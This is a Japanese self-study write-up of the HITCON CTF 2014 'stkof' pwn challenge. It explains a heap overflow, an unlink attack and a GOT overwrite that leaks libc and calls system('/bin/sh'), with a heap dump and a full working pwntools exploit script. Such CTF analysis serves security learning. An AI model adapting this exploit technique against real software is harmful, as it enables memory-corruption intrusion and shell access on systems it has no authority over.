HITCON CTF 2014 stkof

自習用に解きました。

問題のリンク

https://github.com/ctfs/write-ups-2014/tree/master/hitcon-ctf-2014/stkof/README.md

概要

起動すると何も表示されず、入力待ちをする。
数値の1 ~ 4を入力するとそれぞれ、
1. サイズを指定してmalloc
2. 1で確保した領域にバッファのサイズを指定してfgets。ここでヒープオーバーフローが起きる。
3. 1で確保した領域をfreeする。
4. 1で確保した領域にstrlenをする。
を実行する。

方針

最初に確保したチャンクの次に何故か(たぶんバッファ)0x400くらいの領域が勝手に確保されるのでデバッグ時に見やすくするために1つ目を適当なサイズで確保して、更に3つチャンクを確保する。
3つの中の先頭のチャンクをオーバーフローさせて2番めのチャンクをfree済と偽装してprev_sizeを指定して、prev_inuseフラグ立て、3番目のチャンクのfree時にunlinkが発生するようにする。
このときのヒープはこんな感じ。

0x22c2440:      0x0000000000000000      0x0000000000000000
0x22c2450:      0x0000000000000000      0x0000000000000031  <- 1つめ
0x22c2460:      0x4141414141414141      0x4141414141414141
0x22c2470:      0x4141414141414141      0x4141414141414141
0x22c2480:      0x4141414141414141      0x4141414141414141
0x22c2490:      0x0000000000000000      0x0000000000000021  <- 2つめ
0x22c24a0:      0x0000000000602140      0x0000000000602148
0x22c24b0:      0x0000000000000020      0x00000000000000a0  <- 3つめ
0x22c24c0:      0x0000000000000000      0x0000000000000000
0x22c24d0:      0x0000000000000000      0x0000000000000000
0x22c24e0:      0x0000000000000000      0x0000000000000000
0x22c24f0:      0x0000000000000000      0x0000000000000000
0x22c2500:      0x0000000000000000      0x0000000000000000
0x22c2510:      0x0000000000000000      0x0000000000000000
0x22c2520:      0x0000000000000000      0x0000000000000000
0x22c2530:      0x0000000000000000      0x0000000000000000
0x22c2540:      0x0000000000000000      0x0000000000000000
0x22c2550:      0x0000000000000000      0x0000000000020ab1

上記のヒープの状態で3つめのチャンクをfreeさせるとunlink attackで今までのチャンクのアドレスをポインタを自身のアドレスの手前に書き換えることが出来る。
そこからポインタを書き換えてGOTOverwriteをする。
最初にstrlenputsに書き換えてlibcのアドレスをリーク。その後さっきputsに書き換えた場所をsystemに書き換えて引数に/bin/shを渡してシェルを起動。

from pwn import *

binary = './stkof'
libcName = '/lib/x86_64-linux-gnu/libc.so.6'

elf = ELF(binary)
libc = ELF(libcName)
p = process(binary, env={"LD_PRELOAD": libcName})

n = 1
def alloc(size):
    global n
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK')
    ret = n
    n += 1
    return ret

def update(index, content):
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(len(content)))
    p.sendline(str(content))
    p.recvuntil('OK', timeout=1)

def remove(index):
    p.sendline('3')
    p.sendline(str(index))
    p.recvuntil('OK')

def l(index):
    p.sendline('4')
    p.sendline(str(index))
    return p.recvuntil('OK')[:-2]

alloc(0x20)
a = alloc(0x20)
alloc(0x20)
c = alloc(0x98)
payload = ''
payload += 'A' * 0x20
payload += 'A' * 0x10
payload += p64(0x0)
payload += p64(0x21)
payload += p64(0x602158 - 0x18) #fd
payload += p64(0x602158 - 0x10) #bk
payload += p64(0x20)
payload += p64(0xa0)
update(a, payload)
remove(c) #unlink attack

payload = ''
payload += 'A' * 8 #pad
payload += p64(elf.got['strlen'])
payload += p64(elf.got['fgets'])
payload += p64(0x602140)

update(3, payload)
update(1, p64(elf.plt['puts']))
s = l(2)
s = s[s.find('FAIL\n')+5:s.find('\n...')]
s = s + '\x00' * (8 - len(s))
s = u64(s)

system = s + (libc.symbols['system'] - libc.symbols['fgets'])
update(1, p64(system))

payload = ''
payload += 'A' * 8
payload += 'B' * 8
payload += p64(0x602158)
payload += '/bin/sh\x00'
update(3, payload)

p.sendline('4')
p.sendline('2')

p.interactive()

私はしませんでしたがfastbins unlink attackを使った方法があるらしいです。

HITCON CTF 2014: stkof · うさぎ小屋

HITCON CTF2014 stkof(pwn550) - Pwn De Ring